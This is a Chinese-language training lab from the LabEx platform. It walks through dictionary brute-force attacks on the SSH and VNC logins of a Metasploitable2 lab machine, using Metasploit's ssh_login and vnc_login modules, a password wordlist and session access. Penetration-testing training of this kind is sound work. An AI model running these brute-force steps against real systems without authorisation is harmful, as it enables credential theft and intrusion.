介绍
在本实验中,你将学习如何对弱密码认证服务进行暴力破解攻击。如果某个网络服务需要授权才能访问,并且授权机制依赖于用户名和密码,那么弱密码漏洞可能成为一个常见的攻击目标。这种漏洞通常是由于用户配置了弱密码(如 "123456")所导致的。
利用弱密码的最直接方法是使用基于字典的暴力破解攻击。在这种攻击中,包含潜在用户名和密码的字典文件至关重要。攻击者会尝试使用字典中的用户名和密码组合进行连接,直到成功建立连接为止。
在本实验中,你将在 LabEx 平台上的 Kali Linux 环境中使用 Metasploit Framework (MSF) 终端,对 Metasploitable2 目标机器上的 SSH 和 VNC 服务进行暴力破解攻击。
注意:由于成本限制,本实验使用的云实例数量有限。请确保在你有足够时间完成练习时再启动实验环境,以避免浪费实例。
了解环境
在这一步中,你将了解实验环境以及执行暴力破解攻击的前提条件。
实验环境由两个组件组成:
- 攻击机:一个 Kali Linux 容器,需要使用
docker命令启动并通过bashshell 访问。 - 目标机:一个 Metasploitable2 虚拟机,主机名为
target,IP 地址为192.168.122.102。该虚拟机的默认用户名和密码为msfadmin/msfadmin。需要使用 Libvirt 虚拟机管理系统启动该机器。
攻击将从 Kali Linux 环境中使用 Metasploit Framework (MSF) 对目标机进行。
要启动实验环境,请按照以下步骤操作:
在 LabEx 主机(Ubuntu 桌面)上启动一个 XFCE 终端。
使用以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
- 使用
ping命令测试与目标机的连通性(可以使用Ctrl+C停止 ping):
ping 192.168.122.102
- 使用以下命令启动 Kali Linux 容器并进入
bashshell:
docker run -ti --network host b5b709a49cd5 bash
- 使用
ping命令测试从 Kali 容器到目标机的网络连通性(可以使用Ctrl+C停止 ping):
ping 192.168.122.102
现在,攻击机(Kali 容器)和目标机(Metasploitable2)都已启动,你可以继续进行暴力破解攻击。
注意: 如果你意外退出了 bash shell,Kali 容器将会停止。你可以在 LabEx 主机上运行 docker run -ti --network host b5b709a49cd5 bash 命令重新启动一个新的 Kali 容器并再次进入 bash shell。
暴力破解 SSH
在这一步中,你将学习如何在 Kali Linux 环境中使用 Metasploit Framework (MSF) 对 Metasploitable2 目标机上的 SSH 服务进行暴力破解攻击。
- 在 Kali Linux 容器中,启动 Metasploit 控制台:
cd ~
msfconsole
- 在 Metasploit 控制台中,使用
auxiliary/scanner/ssh/ssh_login模块进行 SSH 暴力破解攻击:
use auxiliary/scanner/ssh/ssh_login
- 配置攻击所需的选项:
- 设置目标主机:
set rhosts 192.168.122.102
- 设置密码字典文件(你可以使用提供的
/usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt文件):
set userpass_file /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt
- 将详细输出设置为
false以避免过多的输出信息:
set verbose false
- 查看已配置的选项:
show options
- 启动暴力破解攻击:
exploit
攻击将开始,尝试使用指定字典文件中的用户名和密码组合登录 SSH 服务。一旦找到成功的登录,相应的凭据将会显示。
注意: 暴力破解过程可能会花费较长时间。如果你希望,可以在显示第一个成功登录后按 Ctrl+C 中断该过程。
找到成功的登录后,攻击脚本会自动创建一个 SSH 会话。你可以使用
sessions -i <session_id>命令切换到该会话,其中<session_id>是输出中显示的会话 ID。在 SSH 会话中,你可以在目标机上执行各种命令。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
暴力破解 VNC
在这一步中,你将学习如何在 Kali Linux 环境中使用 Metasploit Framework (MSF) 对 Metasploitable2 目标机上的 VNC 服务进行暴力破解攻击。
- 首先,如果你不在 Metasploit 控制台中,你需要启动 Metasploit 控制台:
cd ~
msfconsole
- 在 Metasploit 控制台中,使用
auxiliary/scanner/vnc/vnc_login模块进行 VNC 暴力破解攻击:
use auxiliary/scanner/vnc/vnc_login
- 配置攻击的线程数(更多的线程会使攻击更快,但也可能增加被检测到的风险):
set THREADS 5
- 设置目标主机的 IP 地址:
set RHOSTS 192.168.122.102
- 启动暴力破解攻击:
exploit
- 攻击结果会很快显示,因为 VNC 登录不需要用户名,仅尝试常见的弱密码。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
总结
在本实验中,你学习了如何在 Kali Linux 环境中使用 Metasploit Framework (MSF) 对弱密码认证服务进行暴力破解攻击。具体来说,你对 Metasploitable2 目标机上的 SSH 和 VNC 服务进行了暴力破解攻击。
本实验涵盖了以下关键概念:
- 了解实验环境和前提条件
- 配置 Metasploit Framework 以进行暴力破解攻击
- 使用密码字典文件进行暴力破解攻击
- 对 SSH 服务执行暴力破解攻击
- 分析 SSH 暴力破解攻击脚本
- 对 VNC 服务执行暴力破解攻击
通过这次动手实践,你获得了对弱密码认证服务进行暴力破解攻击的实际知识和技能,这是渗透测试和道德黑客攻击中的一个关键方面。



